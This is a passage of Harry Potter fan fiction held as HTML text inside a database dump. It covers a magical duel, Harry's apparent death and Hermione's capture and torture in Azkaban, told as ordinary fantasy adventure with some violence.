same\ntime.&nbsp; She glared at Hermione, malice\nshining from her eyes.&nbsp; The time for\ngames was over.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Avada Kedavra!&quot;</i> she shouted. &nbsp;Hermione dodged the green light and shouted, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Icicle blocked the curse again but was\nforced to dodge Hermione\'s stunning curse.&nbsp;\nIt didn\'t take a genius to figure out who was winning the duel.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Trying to slow Hermione down, Icicle shouted, <i>&quot;Inpedimenta!&quot;</i>&nbsp; Hermione blocked the curse with a shield\ncharm.&nbsp; Hermione shouted, <i>&quot;Stupefy!&quot;</i>\nand sent another stunning spell at Icicle who rolled out of the way.&nbsp; Seething with anger, Icicle fired the\nkilling curse at Hermione again.&nbsp;\nHermione rolled out of the way of the Avada Kedavra curse and shouted, <i>&quot;Furnunculus!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle gasped in horror as boils started\nbreaking out all over her body.&nbsp; She\nquickly did a spell that got rid of them.&nbsp;\nDuring this time, Hermione had closed in on Icicle and swung her staff\ntowards her opponent\'s left side.&nbsp;\nIcicle quickly blocked the blow with her own staff, but Hermione didn\'t\ngive her a moments rest as she shouted, <i>&quot;Reducto!&quot;</i>&nbsp; The small explosion, blasted Icicle\naway.&nbsp; She hit the ground with a thud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Thinking that Icicle was knocked out, Hermione\nmade her way over to where Icicle lay.&nbsp;\nShe was startled when Icicle sprang to her feet and shouted, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Hermione\'s staff flew out of her hands and\nlanded about three meters away.&nbsp; She\nwasn\'t defeated yet however as she balled her right hand into a fist and\npunched Icicle in the face!&nbsp; As Icicle\nreeled back, Hermione scrambled towards her staff.&nbsp; Just as she was about to grab it, Icicle shouted, <i>&quot;Crucio!&quot;</i>&nbsp; This time, she wasn\'t able to dodge.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was pain that Hermione had never felt\nbefore.&nbsp; It felt like a thousand knives\nwere stabbing her and her insides were being ripped to shreds.&nbsp; Hermione started screaming in agony in ways\nthat she had never screamed before.&nbsp;\nTears started falling out of her eyes as more screams issued out of her\nlips.&nbsp; Icicle advanced on the girl who\nwas screaming on the ground.&nbsp; &quot;You\nbitch!&quot; she hissed.&nbsp; &quot;You\nmudblood!&nbsp; How dare you humiliate me\nlike that!&nbsp; You are going to suffer for\nthat, my little mudblood!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione continued screaming in agony.&nbsp; \'Somebody...anybody...help me!&nbsp; Anyone... help...Harry...where are\nyou?....Help me Harry!...Please!\'&nbsp;\nSuddenly, Hermione heard an angry voice call out, <i>&quot;Expelliarmus!&quot;</i>&nbsp; At that moment, the voice sounded like the\nmost beautiful, heavenly voice she had ever heard.&nbsp; Abruptly, the pain stopped.&nbsp;\nWeakly, Hermione looked up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Standing at the mouth of the cave, his sword\ndrawn and his green eyes blazing with rage was Sir Harry Potter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle glanced up at the Mage Knight whom had\njust disarmed her and smirked.&nbsp;\n&quot;Sir Harry Potter!&nbsp; How nice\nof you to join us!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry had never been more angry in his\nlife.&nbsp; &quot;You dare....you dare to\nhurt her!&nbsp; How dare you!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Going to\nsave your mudblood friend?&quot; sneered Icicle.&nbsp; &quot;Well now, I can\'t have you spoiling my fun.&nbsp; Crabbe!&nbsp;\nGoyle!&nbsp; Take care of Potter!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Two, thick set Death Eaters apparated on either\nside of Harry.&nbsp; On his right side was\nCrabbe, with a pudding bowl hair cut and a large broad sword.&nbsp; On his left side was Goyle with short, wiry\ndark hair and a monstrous battle axe.&nbsp;\nThey charged at Harry, but Harry simply ducked out of the way, causing\nthe two large Death Eaters to collide into each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Crabbe and Goyle grunted and turned on\nHarry.&nbsp; Crabbe swung his sword towards\nHarry\'s left side.&nbsp; The sound of metal\nhitting metal rang through the air as Harry raised his sword to block Crabbe\'s\nattack.&nbsp; Crabbe swung his sword again, only\nto have his blow once again deflected by Harry\'s blade.&nbsp; After deflecting a third strike, Harry spun\naround Crabbe and rammed his hilt on the backside of Crabbe\'s neck.&nbsp; Crabbe sprawled out on the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Goyle suddenly charged at Harry, brandishing\nhis axe over his head.&nbsp; He swung the axe\ndownwards with one powerful blow.&nbsp; Harry,\nhowever, simply stepped back and let the axe hit the ground in front of\nhim.&nbsp; As Goyle struggled to pull the axe\nout of the ground, Harry placed a well aimed kick on his chin.&nbsp; Goyle keeled over.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Crabbe took this opportunity to attack Harry\nfrom behind.&nbsp; Harry, however, flicked\nhis sword behind his back and deflected Crabbe\'s blow without even turning\naround.&nbsp; Harry swung around and slashed\nhis sword at Crabbe who blocked it with his own sword.&nbsp; This left his face wide open, however, as\nHarry flung his left fist into Crabbe\'s nose.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Goyle lunged at Harry and swung his axe at\nhim.&nbsp; Harry simply ducked and let the\naxe fly over his head.&nbsp; Before Goyle\ncould even react, Harry shouted, <i>&quot;Petrificus Totalus!&quot;</i>&nbsp; Goyle\'s body suddenly went rigid and he fell\nover backwards.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Crabbe slashed at Harry again.&nbsp; Their blades met a number of times before\nHarry caught Crabbe off guard and shouted, <i>&quot;Impedimenta!&quot;</i>&nbsp; Crabbe froze in mid lunge.&nbsp; Harry shouted, <i>&quot;Stupefy!&quot;</i>\nand stunned Crabbe, who was still frozen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Having won the battle, Harry turned on Icicle\nand froze in horror.&nbsp; Icicle was holding\nup the barely conscious Hermione and had her staff pointed at Hermione\'s\nhead!&nbsp; &quot;One move and the mudblood\ngets it!&quot; she snarled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry stopped in his tracks and glared at\nIcicle.&nbsp; He was so angry that sparks\nwere actually flying from his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle smirked.&nbsp; &quot;My congratulations for taking care of Crabbe and\nGoyle!&nbsp; But you are quiet foolish to\nhave forgotten about me!&quot;&nbsp; She then\ngrinned at him.&nbsp; &quot;I\'ll make you a\ndeal, Potter.&nbsp; If you surrender, then I\npromise to let her live!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry continued to glare at Icicle.&nbsp; Hermione tried to shake her head.&nbsp; &quot;Don\'t do it, Harry!&quot; she\nsaid.&nbsp; &quot;Please, don\'t throw your\nlife away for me!&quot;&nbsp; Tears were\nstreaming down her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You, shut up!&quot; snarled Icicle.&nbsp; She turned back to Harry.&nbsp; &quot;It\'s your choice, Potter.&nbsp; Either she gets the Avada Kedavra in her\nhead or you do!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry was still glaring at Icicle, but his\nexpression suddenly softened.&nbsp; Hermione\nstared at him, horrified as He gave her a weak smile and threw down his\nsword!&nbsp; What he said after that shocked\nher even more: &quot;I love you, Hermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, how sweet.&nbsp; Too bad those had to be your last words, Potter,&quot; said\nIcicle with a smirk.&nbsp; She raised her\nstaff and shouted, <i>&quot;Avada Kedavra!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione screamed.&nbsp; &quot;Harry!&nbsp; Please!&nbsp; NOOOOOOOOOOOOOOOOOO!&quot;&nbsp; The last thing she saw before she blacked\nout was Harry crumble lifeless to the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 16, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: You want to know who\'s the\nowner?&nbsp; It\'s J.K. Rowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 16: Horrors of Azkaban</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry, wake up....wake up.&quot;&nbsp; Harry let out a groan and stirred a\nlittle.&nbsp; &quot;Come on mate, open your\neyes.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\'s eyes fluttered open.&nbsp; The first thing he saw was the concerned\nface of Sir Ronald Weasley.&nbsp;\n&quot;Great,&quot; he grumbled.&nbsp; &quot;Your\nface just had to be the first face I get to see in the afterlife.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron grinned.&nbsp;\n&quot;Well Harry, as guide to your first day of being dead, it is my\npainful duty to inform you that you are still very much alive!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly bolted up right.&nbsp; &quot;What?!&quot; he shouted.&nbsp; &quot;I\'m alive?!&nbsp; But I was hit by the killing curse!&quot;&nbsp; He finally registered his surroundings.&nbsp; The position of the sun indicated that it\nwas late morning, and he had been lying right outside of the now sealed\nentrance to the Caverns of Power.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\'s grin grew wider as he pointed at Harry\'s\nchest.&nbsp; The experimental protection charm\nSnape had given Harry was glowing with an eerie green light.&nbsp; As soon as Harry picked it up, it crumbled\nto dust.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Snape\'s\nprotection charm.&nbsp; It must\'ve absorbed\nthe Avada Kedavra curse, causing it to simply knock me out rather than kill\nme.&quot;&nbsp; Harry looked up at Ron and\ngrinned.&nbsp; &quot;I can\'t believe I\'m\ngoing to say this but thank God for Snape.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron snorted.&nbsp;\n&quot;Oh yeah, thank God for Snape.&nbsp;\nHe added some of his specialty flavors to the mandrake draught he made\nfor me.&nbsp; Wonderful taste,\nyech!&quot;&nbsp; He pulled Harry up to his\nfeet.&nbsp; &quot;I came here as soon as the\npetrification wore off and found you lying on the ground.&nbsp; By the way, where\'s Hermione?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly turned pale and his eyes widened\nin horror.&nbsp; &quot;Oh my God!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione woke up with a headache.&nbsp; She groaned as she stirred and tried to pull\nherself up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Good\nmorning, my little mudblood,&quot; came a voice from a shadows.&nbsp; Startled, Hermione quickly stood up.&nbsp; Her legs were weak and she nearly fell back\ndown.&nbsp; She had been lying on the cold\nstone floor of a dark, gloomy dungeon cell.&nbsp;\nThe only source of light came from an open door, and it was extremely\ncold.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle emerged from the shadows with a smirk on\nher beautiful face.&nbsp; Hermione glared at\nher as she took a step towards her.&nbsp;\n&quot;Of course, you can\'t really tell if it\'s morning or night here in\nthis dungeon.&nbsp; Welcome to Azkaban\nfortress.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione shuddered a little but managed to hide it.&nbsp;\n&quot;What do you want with me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;It\'s not you\nthat we want, my little mudblood,&quot; snarled Icicle.&nbsp; &quot;It\'s those rings that we\nwant.&quot;&nbsp; Hermione looked down at her\nhands and saw that the two rings of the Lion and the Phoenix were still there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I suppose\nyou\'re wondering why we didn\'t take the rings from you,&quot; said Icicle.&nbsp; &quot;Well, as it turns out, they can only\nbe removed if you remove them yourself.&nbsp;\nI only found this out after you blacked out.&nbsp; That\'s why I brought you here.&quot;&nbsp; She took a step towards Hermione.&nbsp; &quot;Now would you kindly hand me the rings?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione hissed &quot;Over my dead body!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You know,\nthat can be arranged,&quot; said Icicle, stroking her chin.&nbsp; &quot;But if that happened, nobody would be\nable to take the rings off of your fingers.&quot;&nbsp; Icicle stepped back and said, &quot;I suppose I must use more\ndrastic measures.&quot;&nbsp; She raised her\nstaff and said <i>&quot;Imperio!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione went into a daze as a feeling of\ntranquility blanketed her mind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Remove the\nrings,&quot; commanded Icicle.&nbsp;\nHermione\'s hands started moving towards the rings.&nbsp; But just as she was about to remove the\nrings, she heard a voice in the back of her head: <i>Wait a minute.&nbsp;\nI don\'t want to take the rings off.&nbsp;\nWhy am I doing just that?</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Remove the\nrings.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>No, I think I\'ll leave them on, thank you very\nmuch.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;REMOVE THE\nRINGS!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\nWON\'T!&quot;&nbsp; Hermione felt the curse\nlift as she shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle grinned.&nbsp; &quot;I\'m impressed,&quot; she said.&nbsp; &quot;There are not too many people who can fight off the\nImperius Curse.&nbsp; Never mind, I still\nhave other methods.&nbsp; <i>Crucio!</i>&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Once again, Hermione collapsed in sheer\npain!&nbsp; The screams that she issued and\nthe tears that leaked from her eyes were not enough to show just how much agony\nshe was going through!&nbsp; After what\nseemed to her was an eternity, but was actually only a minute, the curse was\nlifted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We have\nplenty of time,&quot; sneered Icicle.&nbsp;\nShe yanked Hermione to her feet.&nbsp;\n&quot;You can only take so much pain before you will be begging us to\nlet you take the rings off.&quot;&nbsp; She\nraised Hermione\'s arms and placed her hands in shackles that were hanging from\nthe ceiling.&nbsp; Hermione whimpered as pain\nran through her arms and shoulders.&nbsp; She\nwas hanging from the shackles, the toes of her shoes barely touching the\nfloor.&nbsp; When Icicle removed her shoes,\nshe had no contact with the floor what so ever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle placed her hand on Hermione\'s chin and\nlifted her face up.&nbsp; &quot;I will see\nyou again, my little mudblood.&quot;&nbsp;\nShe slapped Hermione in the face and tore off her white and blue\nrobes!&nbsp; She then stormed out of the\ndungeon cell and slammed the door behind her!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was left alone with her thoughts in the\npitch dark.&nbsp; For the first time, she\nrecalled the events that had led up to her predicament.&nbsp; She recalled how Harry had taken the killing\ncurse to save her life.&nbsp; \'But they\nweren\'t able to kill me anyways,\' she thought.&nbsp;\nTears were falling down her cheeks.&nbsp;\n\'Harry died for no reason!&nbsp; I\'m\nall alone now!&nbsp; Harry\'s dead!\'&nbsp; Hermione started sobbing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back at Hogwarts, Harry was pacing back and\nforth across the meeting room.&nbsp; Seated\nat the table in the middle of the room were, Ron, Hagrid, Dumbledore,\nMcGonagoll, Sirius, Remus, and Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m going to\nAzkaban,&quot; said Harry with grim determination.&nbsp; &quot;And none of you are going to stop me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Right,&quot;\nsaid Ron.&nbsp; &quot;You\'re going to barge\ninto the fortress, fight off the dementors and Death Eaters, and save the\ndamsel in distress.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Exactly.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Uh, Harry, I\nwas being sarcastic.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry ignored him and continued pacing.&nbsp; &quot;We won\'t barge in there, that would be\ntoo dangerous.&nbsp; It\'ll probably be best\nto sneak in somehow.&quot;&nbsp; He stopped\nin mid pace.&nbsp; &quot;Ok, I\'ve got\nit.&nbsp; We\'ll take a ship from Bueaxbaton\nPort and sail to the island where Azkaban Fortress is located.&nbsp; We can sneak in through the north side where\nthe guard is always the weakest.&nbsp; It may\ntake time to locate her but I have a hunch that she\'s in one of the dungeons on\nthe north western sides, that\'s where they imprison muggle-borns.&quot;&nbsp; He promptly turned to the others.&nbsp; &quot;Whose with me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I am,&quot;\nsaid Ron straight away with no hesitation.&nbsp;\nHarry beamed at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius spoke up, &quot;Remus and I will go with\nyou...&quot;</p>\n\n<p class="MsoNormal" 